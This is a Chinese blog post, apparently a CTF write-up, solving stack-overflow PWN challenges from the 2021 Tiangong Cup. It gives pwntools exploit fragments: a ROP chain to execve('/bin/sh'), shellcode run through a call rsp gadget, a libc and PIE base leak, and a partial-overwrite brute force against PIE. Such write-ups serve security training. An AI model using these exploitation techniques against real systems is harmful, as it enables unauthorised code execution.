天工杯2021 PWN WP

2021-08-28  本文已影响0人  ywledoc

看点:
1.两个解法(shellcode、ROPchain)
2.python3.9与pwntools的一个坑。


程序漏洞情况

程序溢出点很好找,但是没有提供/bin/shsystem后门函数,考虑ROP(one_gadget或者ROPchain)。

read函数处栈溢出

checksec情况

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

ROPchain

如何让程序多次运行

一次read/write只能泄露出基址,但后续的ROP构造还要一次read/write操作。方案直接上代码:

payload = flat([
   'a' * 128,
   p64(0xdeadbeef),
   b'\xc0'
])

这里有个python3.9和pwntools的坑,要使用b'\xc0'不能直接'\xc0',使用后者发送的数据会不符合预期,造成攻击不成功

其中的关键点在于b'\xc0',作用是让vul函数的返回地址从图中红框变为绿框,再从main函数的起始处开始执行,就可以再执行一次。

leak地址问题

vul函数的write中,可以写出栈上256个字符,进而泄露出__libc_start_main_retprocess的基地址。

栈数据

攻击方式有两种

(一)构造ROP攻击链(基于libc2.23)

EXP如下:

flat([
    'a' * 128,
    p64(0xdeadbeef),
    p64(pop_ret),
    p64(binsh_addr),
    p64(prdx_prsi_ret),
    0x0,
    0x0,
    p64(execve_addr)

])

(二)leak process基地址后,使用call rsp调用shellcode直接攻击

leak_address = ru(cdelim)
libc_main_ret = u64(leak_address[0xa9:0xb1])
elf.address = u64(leak_address[0x89:0x91]) - 0x9c0
flat([
    'a' * 128,
    p64(0xdeadbeef),
    p64(call_rsp),
    asm(shellcraft.sh())  #这里要注意需要设置context.arch='amd64',否则默认发送i386架构下的shellcode。
])

暴力碰撞PIE

如果程序提供了后门函数,并且开了PIE,可以尝试暴力碰撞返回地址最后2字节(4位16进制)。原理是glibc下的pie,只到内存页级别(大小0x1000),所以程序基址的最后三位必定为0。暴力碰撞使用四字节覆盖,会覆盖倒数第四位,这一位与PIE有关系。通过不断重复调用执行程序,使某一次的PIE地址,正好与我们挑选地址一致,就执行成功。下面用另一道题来解释:

程序漏洞情况

io.sendlineafter("number", str(512))
io.sendlineafter("number2", str(-511))

暴力碰撞

        backdoor = b'\xe0'
        backdoor += b'\x09' ##把返回地址的最后4位改为0x09e0
        payload = flat([
            'a' * 96,
            p64(0xdeadbeef),
            backdoor
        ])

2.看看haha函数被覆盖后的返回地址:0x5590636009e0

图片.png

3.haha原返回地址应为0x559063600B43,而payload把返回地址修改为0x5590636009e0,就成功执行了后门函数。注意:这里截取的是成功后的图

上一篇下一篇

猜你喜欢

热点阅读